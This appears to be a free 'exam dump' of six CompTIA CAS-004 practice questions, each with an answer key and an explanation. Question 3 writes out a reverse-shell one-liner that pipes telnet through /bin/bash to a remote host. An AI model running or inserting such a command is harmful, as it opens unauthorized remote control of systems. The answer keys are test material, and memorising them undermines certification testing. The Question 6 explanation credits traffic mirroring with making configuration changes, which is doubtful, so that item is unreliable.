Free Questions for CAS-004 by actualtestdumps

Shared by Wolfe on 09-08-2024

For More Free Questions and Preparation Resources

Check the Links on Last Page

Question 1

Question Type: MultipleChoice

An multinational organization was hacked, and the incident response team's timely action prevented a major disaster Following the event, the team created an after action report. Which of the following is the primary goal of an after action review?

Options:

A- To gather evidence for subsequent legal action

B- To determine the identity of the attacker

C- To identify ways to improve the response process

D- To create a plan of action and milestones

Answer:

C

Explanation:

The primary goal of an after-action review (AAR) is to evaluate the response to an incident critically and identify what was done well and what could be improved. An AAR is a structured review or de-brief process for analyzing what happened, why it happened, and how it

can be done better by the participants and those responsible for the project or event.

Question 2

Question Type: MultipleChoice

Which of the following technologies would benefit the most from the use of biometric readers proximity badge entry systems, and the use of hardware security tokens to access various environments and data entry systems?

Options:

A- Deep learning

B- Machine learning

C- Nanotechnology

D- Passwordless authentication

E- Biometric impersonation

Answer:

D

Explanation:

Passwordless authentication is an authentication method that does not require the user to enter a password. Instead, it relies on alternative forms of verification, such as biometric readers (fingerprint or facial recognition), proximity badge entry systems, and hardware security tokens. These technologies provide a means to authenticate users with higher assurance levels and would benefit the most from the use of the mentioned devices and methods.

Question 3

Question Type: MultipleChoice

A penetration tester inputs the following command:

```
telnet 192.168.99.254 343 | /bin/bash | telnet 192.168.99.254 344
```

This command will allow the penetration tester to establish a:

Options:

A- port mirror

B- network pivot

C- reverse shell

D- proxy chain

Answer:

C

Explanation:

The command depicted is indicative of a reverse shell, which is a type of shell where the target system initiates an outgoing connection to a remote host, and then standard input and output of the command line interface on the target system is redirected through this connection to the remote host. This is typically used by an attacker after exploitation to open a remote command line interface to control the compromised machine.

Question 4

Question Type: **MultipleChoice**

A security analyst has been tasked with assessing a new API The analyst needs to be able to test for a variety of different inputs, both malicious and benign, in order to close any vulnerabilities Which of the following should the analyst use to achieve this goal?

Options:

A- Static analysis

B- Input validation

C- Fuzz testing

D- Post-exploitation

Answer:

C

Explanation:

Fuzz testing, or fuzzing, is a software testing technique that involves providing invalid, unexpected, or random data as input to a computer program. The program is then monitored for exceptions such as crashes, or failing built-in code assertions or for potential memory leaks. This type of testing can help identify security vulnerabilities that could be exploited by malicious inputs.

Question 5

Question Type: MultipleChoice

A PKI engineer is defining certificate templates for an organization's CA and would like to ensure at least two of the possible SAN certificate extension fields populate for documentation purposes. Which of the following are explicit options within this extension? (Select two).

Options:

A- Type

B- Email

C- OCSP responder

D- Registration authority

E- Common Name

F- DNS name

Answer:

B, F

Explanation:

The SAN (Subject Alternative Name) field in a certificate can include multiple types of entries, including DNS names and email addresses. These are explicit options within the SAN extension, allowing a single certificate to be valid for multiple domain names and email addresses. This is often used in multi-domain SSL certificates, where a single certificate needs to be valid for multiple subdomains or different domain names.

Question 6

Question Type: **MultipleChoice**

A network security engineer is designing a three-tier web architecture that will allow a third-party vendor to perform the following audit functions within the organization's cloud environment

* Review communication between all infrastructure endpoints

* Identify unauthorized and malicious data patterns

* Perform automated, risk-mitigating configuration changes

Which of the following should the network security engineer include in the design to address these requirements?

Options:

A- Network edge NIPS

B- Centralized syslog

C- Traffic mirroring

D- Network flow

Answer:

C

Explanation:

Traffic mirroring, also known as port mirroring or SPAN (Switched Port Analyzer), involves creating a copy of the actual network traffic for independent analysis. This would allow the third-party vendor to review communications between infrastructure endpoints, identify unauthorized and malicious data patterns, and perform automated, risk-mitigating configuration changes without impacting the live environment. This is used in network intrusion detection systems (NIDS) and for traffic analysis purposes.